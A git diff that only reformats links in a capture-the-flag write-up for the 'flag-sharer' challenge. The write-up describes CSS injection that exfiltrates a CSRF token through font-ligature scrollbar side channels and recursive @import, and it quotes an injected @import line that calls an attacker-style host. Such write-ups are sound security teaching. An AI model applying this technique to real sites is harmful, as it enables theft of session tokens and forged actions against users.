fix links

README.md

@@ -8,7 +8,7 @@
 
 **Provided file(s)**: flag-sharer.tar
 
-**Provided host(s)**: https://flag-sharer.ml
+**Provided host(s)**: <https://flag-sharer.ml>
 
 
 ## Write-up
@@ -44,9 +44,9 @@ The response body of the `/item` page resolves to:
 @import url("https://evil.risky.services/evil.css");.css is not in your item list.
 ```
 Thus, through these two injection points, it is possible to include arbitrary CSS on the `/gifts` page.
-At this point in time, I was thinking that the solution to this challenge would be to perform the somewhat trivial form of CSS data exfiltration via `[value="<PREFIX>"]` selectors on the relevant input elements. Imagine my dismay when I realized that the CSRF token which was my goal lie in a `<textarea>` element. I eventually stumbled across a research publication from https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/ which described an attack that utilized dynamically generated fonts to control the appearance of a horizontal scrollbar and utilize that as a side-channel to exfiltrate data within text nodes within a web page. This attack worked by creating special fonts in which all single characters have a width of 0 while a specific ligature had a wide width. If the element in which the text appears is narrower than the width of the ligature, a horizontal scrollbar will appear. By setting the background of the scrollbar to an image hosted at a URL I control, I can observe requests made to my server and determine the content on the page. Unfortunately, there are were no publicly available tools implementing this kind of exploit, and all I could find on GitHub in the way of POCs were rather confusing or not applicable to my situation. Thus, I decided to implement the attack myself.
+At this point in time, I was thinking that the solution to this challenge would be to perform the somewhat trivial form of CSS data exfiltration via `[value="<PREFIX>"]` selectors on the relevant input elements. Imagine my dismay when I realized that the CSRF token which was my goal lie in a `<textarea>` element. I eventually stumbled across a research publication from <https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/> which described an attack that utilized dynamically generated fonts to control the appearance of a horizontal scrollbar and utilize that as a side-channel to exfiltrate data within text nodes within a web page. This attack worked by creating special fonts in which all single characters have a width of 0 while a specific ligature had a wide width. If the element in which the text appears is narrower than the width of the ligature, a horizontal scrollbar will appear. By setting the background of the scrollbar to an image hosted at a URL I control, I can observe requests made to my server and determine the content on the page. Unfortunately, there are were no publicly available tools implementing this kind of exploit, and all I could find on GitHub in the way of POCs were rather confusing or not applicable to my situation. Thus, I decided to implement the attack myself.
 
-One hurdle I decided to get around at the start was that the CSRF token was regenerated upon each visit to the target page, so whatever attack I implemented must only make a single request to the `/gitfs` page. I found an interesting solution from https://x-c3ll.github.io/posts/CSS-Injection-Primitives/#css-recursive-import involving recursive stylesheet imports. The idea behind this attack is to recursively import stylesheets containing the dynamically generated attack fonts, but block server-side until the attack server has received the leaked prefix for the current step and then return the next style. The server repeats this action until all characters are leaked. The browser attempts to fetch the style provided by the `@import` directive, but if the request is taking too long it applies all subsequent style rules and retroactively applies the included stylesheet when the response finally arrives. Thus, by blocking the request on our attack server, we can have the browser apply a stylesheet while waiting on the next one in the chain.
+One hurdle I decided to get around at the start was that the CSRF token was regenerated upon each visit to the target page, so whatever attack I implemented must only make a single request to the `/gitfs` page. I found an interesting solution from <https://x-c3ll.github.io/posts/CSS-Injection-Primitives/#css-recursive-import> involving recursive stylesheet imports. The idea behind this attack is to recursively import stylesheets containing the dynamically generated attack fonts, but block server-side until the attack server has received the leaked prefix for the current step and then return the next style. The server repeats this action until all characters are leaked. The browser attempts to fetch the style provided by the `@import` directive, but if the request is taking too long it applies all subsequent style rules and retroactively applies the included stylesheet when the response finally arrives. Thus, by blocking the request on our attack server, we can have the browser apply a stylesheet while waiting on the next one in the chain.
 
 A slight issue I had with the above strategy was due to the cascading nature of CSS. In particular, styles located further down in the stylesheet have precedence over styles located nearer the top. This proved to be an issue since my recursive includes were technically located above the payload for each step of the attack, and thus would not be retroactively applied. Fortunately, CSS has a concept of specificity such that more specific rules get applied with a higher precedence. Thus, by appending additional `[name="csrf"]` selectors in the attack styles, I can arbitrarily increase the specificity (and thus precedence) of each stage of my attack, allowing the recursive includes to overwrite subsequent styles.
 
@@ -54,4 +54,4 @@ With these problems resolved, it is time to detail the actual attack. Using this
 
 Finally, in  order to actually use the CSRF token to perform a CSRF attack, I create an html document on my server which includes the target page with the injection in an `<iframe>` and a piece of JavaScript code which occasionally checks with my server to see if we have recovered the CSRF token yet. Once the CSRF token is fully extracted, the JavaScript submits a request to the `/send` endpoint on the target site along with the CSRF token in order to share the challenge flag with an account I control. I deployed this html page to my site, instructed the admin-bot to visit it, and several seconds later had received the flag with my user on `flag-sharer.ml`. 
 
-In order to make similar attacks easier in the future, we at BLAHAJ have utilized our mediocre software development skills to create a somewhat (read hopefully) extensible framework written in python. The full source of our exploit may be found at https://git.lain.faith/BLAHAJ/redpwn-flag-sharer.
+In order to make similar attacks easier in the future, we at BLAHAJ have utilized our mediocre software development skills to create a somewhat (read hopefully) extensible framework written in python. The full source of our exploit may be found at <https://git.lain.faith/BLAHAJ/redpwn-flag-sharer>.